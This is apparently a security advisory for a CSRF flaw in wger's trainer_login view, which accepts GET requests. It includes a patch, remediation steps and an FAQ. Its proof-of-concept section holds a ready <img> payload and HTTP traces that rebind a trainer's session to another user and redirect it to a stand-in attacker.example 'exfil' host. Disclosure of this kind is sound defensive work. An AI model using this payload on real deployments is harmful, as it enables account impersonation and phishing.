GHSA-xf64-4pmc-h8qf: CSRF
Summary
The trainerlogin view in wger accepts GET requests and executes djangologin() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account.
Details
File: wger/core/views/user.py, approximately lines 161-210
python VULNERABLE - no @requirePOST, no request.method == 'POST' guard CsrfViewMiddleware is bypassed because CSRF enforcement only applies to unsafe HTTP methods (POST, PUT, PATCH, DELETE) def trainerlogin(request, userpk): ... djangologin(request, user, backend='django.contrib.auth.backends.ModelBackend') return HttpResponseRedirect(...)
Because the view handles GET, Django's CSRF middleware does not validate any token. An attacker can place <img src="https://wger.target/en/user/2/trainer-login"> on any web page. When an authenticated trainer's browser loads that page, it issues the GET request with the session cookie attached (SameSite=Lax does not block same-site top-level navigation and subresource hops triggered by same-origin redirects). The server executes djangologin() and issues a new session cookie binding the trainer to the victim user.
Playwright-verified in Chromium 147: the SameSite bypass occurs via a ?next= redirect chain - the initial cross-origin subresource hop is blocked by SameSite, but the server's 302 -> /user/login?next=... redirect causes the browser to follow a same-origin hop that attaches the cookie, and the subsequent redirect to the original URL executes the action.
Affected endpoint: - GET /en/user/<userpk>/trainer-login -> wger.core.views.user.trainerlogin
Suggested patch:
diff --- a/wger/core/views/user.py +++ b/wger/core/views/user.py +from django.views.decorators.http import requirePOST + @loginrequired() +@requirePOST def trainerlogin(request, userpk): ... - # Move ?next= handling to POST body - never use GET params for - # security-sensitive redirects + nexturl = request.POST.get('next', reverse('core:index')) + if not urlhasallowedhostandscheme(nexturl, allowedhosts={request.gethost()}): + nexturl = reverse('core:index') return HttpResponseRedirect(nexturl)
Requiring POST ensures Django's CSRF middleware validates the csrfmiddlewaretoken on every impersonation request, eliminating the CSRF vector. Moving next to the POST body also removes the open-redirect surface (submitted separately).
PoC
Tested on wger/server:latest Docker image + Playwright/Chromium 147. Victim: trainer1 (gym.gymtrainer permission).
Step 1 - Attacker hosts malicious page:
html <!-- evil.html --> <img src="http://target/en/user/2/trainer-login?next=//attacker.example/exfil" width="1" height="1">
Step 2 - Authenticated trainer loads evil.html. Browser auto-issues:
GET /en/user/2/trainer-login?next=//attacker.example/exfil HTTP/1.1 Host: target Cookie: sessionid=[trainer1session] (no CSRF token required)
Step 3 - Server responds:
HTTP/1.1 302 Found Location: //attacker.example/exfil Set-Cookie: sessionid=[alicesession] <- session rebound to alice
Step 4 - Confirm impersonation:
GET /api/v2/userprofile/ HTTP/1.1 Cookie: sessionid=[alicesession]
-> 200 OK: {"username":"alice",...}
Reproducibility: 2/2 runs. Playwright browser verification confirmed SameSite=Lax is bypassed via the server's own ?next= redirect chain.
Impact
An attacker who can cause an authenticated trainer to load a malicious page (phishing email, malicious link, third-party gym management tool integration, ad network, comment section with images) can forcibly switch the trainer's session to any user account in the gym - without the trainer's awareness or consent. The trainer's browser is then operating as the victim user. Combined with the ?next= parameter, the post-impersonation redirect can send the trainer to the attacker's domain, amplifying phishing and credential-harvesting attacks.
This CSRF primitive is the delivery vector that unlocks the trainerlogin scope bypass (separate submission) without requiring the attacker to compromise the trainer's credentials directly.
Affected deployments: every wger instance where gym.gymtrainer is delegated to non-admin users.
Severity: Medium (CVSS 5.4). Network-reachable, low complexity, low privilege (trainer role required as victim), requires page load (UI:R), scope change (attacker's origin via redirect).
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Configuration
Decorate trainer_login with @require_POST and import require_POST from django.views.decorators.http so impersonation requests cannot be performed via GET.
wger trainer_login view Allowed HTTP method = POST - Configuration
Read next from request.POST rather than GET parameters and validate it with url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}) before redirecting.
wger trainer_login view next redirect parameter handling = POST body with same-host validation
Event History
Frequently Asked Questions
Who can be targeted by this issue?
Authenticated trainer users are exposed if they visit an attacker-controlled page. The page can trigger a cross-site GET request using the trainer's existing session cookie.
What does an attacker need to exploit it?
The attacker needs to know or choose the user account identifier to target and induce an authenticated trainer to load a page containing a request to the trainer-login endpoint. No CSRF token is needed because the affected action accepts GET requests.
What is the impact of a successful attack?
The trainer's active session is forcibly rebound to an arbitrary user account. This can expose the targeted account's accessible information and allow actions under that account context.
How can I determine whether my deployment is affected?
Inspect the trainer_login view in wger/core/views/user.py. It is affected if it accepts GET requests and calls django_login() without enforcing POST or otherwise requiring CSRF validation.